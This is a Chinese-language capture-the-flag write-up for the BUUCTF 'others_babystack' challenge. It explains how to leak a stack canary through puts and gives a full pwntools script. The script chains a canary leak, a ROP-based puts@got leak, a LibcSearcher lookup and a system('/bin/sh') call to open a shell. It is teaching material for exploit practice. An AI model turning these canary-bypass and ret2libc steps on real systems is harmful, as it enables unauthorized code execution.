BUUCTF-others_babystack
泄露canary+rop
通过这道题,我知道了canary最后一个字节是\x00,又因为是小端存储,所以在内存中我位置是在开头的;puts函数在输出的时候是遇到\x00 会结束。


1是read函数,存在栈溢出,2是puts函数,可以泄露canary,3是退出
思路 :程序中插入了canary,用puts函数泄露(得到canary要右对齐),然后再用puts函数来泄露puts_got,用libcsearcher获得libc版本,最终getshell
canary跟在ebp之后,canary最后一个字节是 \x00,又因为是小端存储,所以在内存中位置是在开头的。想用put函数泄露canary,但puts函数在输出的时候是遇到’\x00’ 会结束,所以写入a的时候用/n覆盖掉。正好sendline之后会发送一个/n。在pwntools中,sendline和send都是发送数据,但是sendline是发送一行数据,换句话说就是sendline会在发送的数据末尾加一个回车。)
先找一下pop rdi(64位传参要用寄存器的顺序是rdi,rsi,rdx,rcx,r8,r9)
我这里打算使用puts函数去泄露puts的got表,参数只有一个,因此只用到了一个rdi寄存器,找一下

得到canary后要去补\x00
之后找到put的got表,同样泄露,同样补\x00
然后就是刻在dna里的泄露libc
点击查看代码
from pwn import *
from LibcSearcher import *
context.log_level='debug'
r=remote('node4.buuoj.cn',23246)
#r=process('./others_babystack')
pop_rdi=0x0000000000400a93
elf=ELF('./others_babystack')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
r.sendlineafter('>>','1')
r.sendline('a'*(0x90-0x8))
r.sendlineafter('>>','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,b'\x00'))
print('[+]canary: ',hex(canary))
payload=b'a'*(0x90-0x8)+p64(canary)+b'b'*0x8
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.recv()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x90-0x8)+p64(canary)+b'b'*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.interactive()

浙公网安备 33010602011771号